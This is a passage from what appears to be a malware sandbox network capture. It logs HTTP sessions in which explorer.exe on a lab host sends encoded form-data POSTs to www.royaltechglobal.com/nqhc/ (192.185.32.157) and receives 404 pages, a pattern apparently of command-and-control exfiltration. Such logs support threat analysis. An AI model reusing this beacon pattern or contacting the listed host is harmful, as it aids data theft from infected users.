Dec 5, 2022 15:18:41.956923962 CET	12341	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:18:41.956979036 CET	12342	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:18:41.957031965 CET	12343	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:18:41.957084894 CET	12345	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:18:41.957140923 CET	12346	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:18:41.957199097 CET	12347	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:18:42.071060896 CET	12348	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	49910	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:43.798408985 CET	12350	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 75 34 68 51 4a 64 38 2d 39 54 56 5a 68 79 4b 2d 33 72 7e 65 45 2d 58 73 71 58 4a 44 4e 68 62 39 41 35 73 68 58 6d 28 6a 67 4c 6b 4b 61 64 49 32 6f 6a 35 38 68 48 49 70 68 53 72 4a 34 42 41 77 70 47 6b 6a 75 71 7e 5a 51 5a 45 31 79 6b 36 42 6e 37 78 6d 4f 38 44 4f 6b 33 6b 36 51 6c 67 52 30 45 67 38 7a 37 59 4f 7a 54 75 7a 6d 36 45 79 66 72 44 39 4d 63 70 34 48 46 61 74 45 4d 4f 53 47 38 4a 4f 47 57 42 71 53 51 66 59 65 4d 30 34 32 48 71 50 59 32 44 48 37 4d 44 61 34 4d 63 2d 53 70 74 70 7e 63 74 4d 51 72 6c 4f 75 49 72 64 66 55 4e 65 36 30 32 61 54 4d 79 75 7a 54 28 39 4a 33 54 45 70 31 78 71 62 79 44 74 28 52 70 6f 5a 34 7e 48 63 38 52 64 52 6d 34 57 4d 39 4a 69 61 7a 30 4d 43 50 6f 33 6a 39 42 77 7e 61 77 56 76 53 6d 55 6f 36 52 7a 32 2d 67 54 53 46 37 46 72 71 57 51 55 46 72 6d 43 44 54 30 34 41 36 64 28 44 31 6a 54 47 36 4a 65 4c 6a 4d 41 59 4a 59 31 6c 37 63 67 7a 62 74 4c 47 67 72 51 30 63 76 43 44 68 6a 32 68 57 62 4c 42 72 2d 6d 45 4a 44 70 4b 4c 65 73 50 66 48 38 4c 74 55 4a 66 71 70 33 61 4b 6e 42 4a 49 68 28 4f 66 6a 48 55 7e 50 75 50 66 69 44 4f 34 52 73 49 43 45 34 64 63 49 4f 51 51 57 4d 48 54 62 31 78 5a 46 4e 63 72 33 37 72 4b 53 7a 35 41 4e 53 58 37 7a 46 66 6e 36 6b 59 33 64 58 77 51 53 6e 7a 7a 51 63 59 62 57 4d 77 62 58 28 77 6c 33 57 35 6c 63 76 53 35 35 51 79 43 31 5a 77 6a 54 64 43 48 5f 4d 55 48 56 6d 70 62 6e 43 53 70 6e 39 48 55 63 36 33 43 61 4e 53 4e 46 4b 54 53 34 77 42 66 73 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hu4hQJd8-9TVZhyK-3r~eE-XsqXJDNhb9A5shXm(jgLkKadI2oj58hHIphSrJ4BAwpGkjuq~ZQZE1yk6Bn7xmO8DOk3k6QlgR0Eg8z7YOzTuzm6EyfrD9Mcp4HFatEMOSG8JOGWBqSQfYeM042HqPY2DH7MDa4Mc-Sptp~ctMQrlOuIrdfUNe602aTMyuzT(9J3TEp1xqbyDt(RpoZ4~Hc8RdRm4WM9Jiaz0MCPo3j9Bw~awVvSmUo6Rz2-gTSF7FrqWQUFrmCDT04A6d(D1jTG6JeLjMAYJY1l7cgzbtLGgrQ0cvCDhj2hWbLBr-mEJDpKLesPfH8LtUJfqp3aKnBJIh(OfjHU~PuPfiDO4RsICE4dcIOQQWMHTb1xZFNcr37rKSz5ANSX7zFfn6kY3dXwQSnzzQcYbWMwbX(wl3W5lcvS55QyC1ZwjTdCH_MUHVmpbnCSpn9HUc63CaNSNFKTS4wBfso.
Dec 5, 2022 15:18:44.077199936 CET	12351	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:18:43 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:18:44.077249050 CET	12352	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:18:44.077284098 CET	12353	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:18:44.077317953 CET	12355	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
Dec 5, 2022 15:18:44.077349901 CET	12356	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:18:44.077383041 CET	12357	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:18:44.077419043 CET	12359	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:18:44.077452898 CET	12360	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:18:44.077486038 CET	12361	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:18:44.077519894 CET	12363	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:18:44.191595078 CET	12364	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	49911	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:45.939966917 CET	12368	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 6d 34 68 69 42 64 39 5a 52 54 61 35 68 79 4a 2d 33 71 7e 65 45 5a 58 6f 4f 54 4a 44 51 63 62 5f 49 35 74 32 7a 6d 28 51 49 4c 79 61 61 41 48 57 6f 68 6f 73 67 45 49 70 39 4f 72 4a 39 38 48 44 31 47 6c 67 32 71 70 65 45 65 48 6c 79 59 36 42 6e 33 6d 32 4f 30 44 50 51 6e 6b 36 4d 6c 67 53 41 45 76 76 62 37 61 64 62 54 30 7a 6d 35 52 69 65 72 4e 64 4e 6b 70 34 44 52 61 74 45 79 4f 51 71 38 4a 4f 6d 57 43 74 7e 58 52 59 65 4d 33 34 32 49 75 50 45 36 44 47 58 45 44 61 4d 4d 63 2d 36 70 74 4a 7e 63 6f 74 51 73 78 2d 75 4b 76 64 65 63 65 4f 6d 43 32 61 58 69 79 76 48 54 7e 4e 64 33 53 7a 46 31 39 76 37 79 64 64 28 50 6d 49 5a 6e 78 6e 63 67 52 62 78 51 34 57 73 4c 4a 6c 61 7a 30 74 69 50 75 53 50 2d 43 51 7e 63 28 31 76 48 77 6b 6b 32 52 77 66 6e 67 54 54 65 37 45 66 71 57 6a 63 46 73 6a 69 41 51 6b 34 48 76 4e 28 53 37 44 66 32 36 4a 44 47 6a 4e 6f 79 4a 62 5a 6c 37 38 67 7a 4c 63 4c 42 71 62 51 7a 44 66 43 64 7e 7a 32 50 57 62 48 33 72 5f 79 2d 4a 54 46 4b 4e 75 38 50 49 6e 38 49 72 30 4a 62 77 5a 32 51 4f 6e 42 4a 49 68 7a 77 66 69 37 55 7e 64 75 50 4f 43 7a 4f 39 43 45 49 46 30 34 62 63 49 50 65 51 57 77 4b 54 62 4e 66 5a 45 38 4a 72 78 6a 72 4c 48 66 35 42 4f 4b 55 72 7a 45 30 6a 36 6b 4c 7a 64 54 6a 51 53 72 72 7a 51 4d 49 62 6b 49 77 61 58 76 77 68 33 57 36 33 4d 76 56 70 5a 51 6f 50 56 46 57 6a 54 42 38 48 5f 4a 4a 48 58 6d 70 65 47 6a 57 35 6d 31 4e 41 75 69 42 4d 4e 6b 62 44 33 71 69 44 34 55 79 42 72 62 56 38 65 36 6b 55 61 49 30 37 47 68 61 46 58 4b 6f 49 48 57 72 58 44 37 62 54 6e 65 57 54 34 42 76 66 57 46 76 79 42 75 73 50 4d 64 74 57 53 44 42 38 6c 48 32 56 46 6c 74 7e 67 42 75 59 70 6e 53 7a 46 72 68 47 38 76 43 54 72 36 50 66 33 76 36 4a 30 76 39 69 41 32 37 39 6f 33 56 57 54 4e 4f 64 72 6a 43 34 72 64 6d 55 47 30 38 4d 59 4b 76 73 75 51 48 6e 30 74 39 35 2d 45 38 57 51 45 5a 5a 39 6b 48 45 6f 41 6e 56 68 54 73 56 6e 69 52 37 37 72 45 58 42 45 56 4a 52 65 76 52 63 4c 33 58 61 58 31 39 4a 39 4e 36 53 4e 4f 74 6a 38 68 71 2d 4f 38 5a 64 6d 48 38 4c 79 59 4b 73 77 76 4a 50 61 72 46 73 45 50 6f 64 37 44 71 6c 58 73 36 6e 4d 38 39 77 45 4a 62 6a 36 36 77 42 61 33 49 4c 37 73 35 34 4b 66 71 36 4b 69 31 32 73 37 63 31 74 55 73 51 51 4c 48 4c 4e 71 36 67 7a 61 43 4c 66 55 39 6d 4e 45 75 45 52 55 5a 5a 4e 50 30 76 36 73 32 50 43 46 51 55 59 41 63 6c 36 4e 58 65 6a 41 4b 67 34 72 75 42 63 34 50 51 28 37 36 45 59 52 41 39 56 65 36 66 34 58 49 4a 74 56 48 34 7a 6f 55 37 61 49 28 39 76 4d 28 39 34 72 71 2d 49 70 65 72 42 6d 50 7a 31 4d 4b 65 54 67 71 68 62 76 55 64 31 38 4b 46 71 79 4e 52 64 51 46 6a 76 50 4e 7a 47 56 44 32 36 32 45 30 48 7a 32 5a 75 49 30 43 37 64 63 41 4b 49 78 68 30 56 30 53 55 77 6c 58 78 4d 36 42 6c 75 33 48 4a 51 7e 33 71 76 72 46 4a 32 50 73 4f 51 4b 56 4b 45 38 54 69 33 57 62 46 48 74 39 58 52 7a 2d 39 33 79 2d 6c 6e 75 46 30 4e 63 64 54 64 47 6c 4e 78 55 5a 32 49 76 58 74 66 4f 58 28 4d 28 62 70 61 66 76 32 35 39 64 57 79 4e 45 70 62 68 77 63 68 54 5f 28 74 43 72 4a 35 67 44 36 47 42 37 67 4c 44 2d 4f 5f 73 4c 72 37 65 4f 39 43 56 52 5a 37 36 4c 69 67 52 31 46 43 4f 53 59 56 48 71 75 59 54 38 58 5a 32 39 42 72 42 58 47 42 4a 30 34 30 48 47 77 4b 6a 5f 47 52 45 6b 70 63 5a 53 28 56 6f 6e 7a 66 6f 4e 39 55 7e 6a 79 6f 6f 42 62 5f 54 6a 4a 67 63 77 62 77 30 7a 63 68 7a 5a 73 41 73 65 74 2d 71 34 59 79 7e 33 65 41 72 48 6b 56 51 76 6a 65 45 4c 76 4f 71 68 47 4c 6a 4b 50 45 4c 35 73 37 67 30 47 6f 6d 2d 51 4d 66 44 50 38 41 51 6d 67 73 4b 66 51 6f 36 32 65 68 76 7e 75 56 43 7a 77 58 55 62 68 6a 78 69 68 6a 67 6e 6f 5a 58 4f 31 79 31 6a 43 4a 43 4d 46 5a 55 7a 71 52 39 71 6f 4f 42 37 32 53 59 4e 62 6d 69 47 56 38 33 7a 36 43 52 48 6e 62 58 4e 47 51 54 4e 37 4f 48 76 6a 70 58 31 55 61 76 30 31 48 30 55 64 28 4d 77 6e 76 6e 39 47 30 45 57 6d 64 33 47 35 33 59 44 50 41 63 34 51 73 4a 4f 34 30 55 48 45 77 69 53 56 43 44 37 68 61 42 77 76 4e 70 36 45 31 58 49 6e 71 73 72 36 50 6a 61 44 69 61 59 56 6f 4b 75 71 79 77 39 50 7e 63 31 7a 6e 37 4a 69 31 4a 46 75 58 Data Ascii: 7nWHV=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hm4hiBd9ZRTa5hyJ-3q~eEZXoOTJDQcb_I5t2zm(QILyaaAHWohosgEIp9OrJ98HD1Glg2qpeEeHlyY6Bn3m2O0DPQnk6MlgSAEvvb7adbT0zm5RierNdNkp4DRatEyOQq8JOmWCt~XRYeM342IuPE6DGXEDaMMc-6ptJ~cotQsx-uKvdeceOmC2aXiyvHT~Nd3SzF19v7ydd(PmIZnxncgRbxQ4WsLJlaz0tiPuSP-CQ~c(1vHwkk2RwfngTTe7EfqWjcFsjiAQk4HvN(S7Df26JDGjNoyJbZl78gzLcLBqbQzDfCd~z2PWbH3r_y-JTFKNu8PIn8Ir0JbwZ2QOnBJIhzwfi7U~duPOCzO9CEIF04bcIPeQWwKTbNfZE8JrxjrLHf5BOKUrzE0j6kLzdTjQSrrzQMIbkIwaXvwh3W63MvVpZQoPVFWjTB8H_JJHXmpeGjW5m1NAuiBMNkbD3qiD4UyBrbV8e6kUaI07GhaFXKoIHWrXD7bTneWT4BvfWFvyBusPMdtWSDB8lH2VFlt~gBuYpnSzFrhG8vCTr6Pf3v6J0v9iA279o3VWTNOdrjC4rdmUG08MYKvsuQHn0t95-E8WQEZZ9kHEoAnVhTsVniR77rEXBEVJRevRcL3XaX19J9N6SNOtj8hq-O8ZdmH8LyYKswvJParFsEPod7DqlXs6nM89wEJbj66wBa3IL7s54Kfq6Ki12s7c1tUsQQLHLNq6gzaCLfU9mNEuERUZZNP0v6s2PCFQUYAcl6NXejAKg4ruBc4PQ(76EYRA9Ve6f4XIJtVH4zoU7aI(9vM(94rq-IperBmPz1MKeTgqhbvUd18KFqyNRdQFjvPNzGVD262E0Hz2ZuI0C7dcAKIxh0V0SUwlXxM6Blu3HJQ~3qvrFJ2PsOQKVKE8Ti3WbFHt9XRz-93y-lnuF0NcdTdGlNxUZ2IvXtfOX(M(bpafv259dWyNEpbhwchT_(tCrJ5gD6GB7gLD-O_sLr7eO9CVRZ76LigR1FCOSYVHquYT8XZ29BrBXGBJ040HGwKj_GREkpcZS(VonzfoN9U~jyooBb_TjJgcwbw0zchzZsAset-q4Yy~3eArHkVQvjeELvOqhGLjKPEL5s7g0Gom-QMfDP8AQmgsKfQo62ehv~uVCzwXUbhjxihjgnoZXO1y1jCJCMFZUzqR9qoOB72SYNbmiGV83z6CRHnbXNGQTN7OHvjpX1Uav01H0Ud(Mwnvn9G0EWmd3G53YDPAc4QsJO40UHEwiSVCD7haBwvNp6E1XInqsr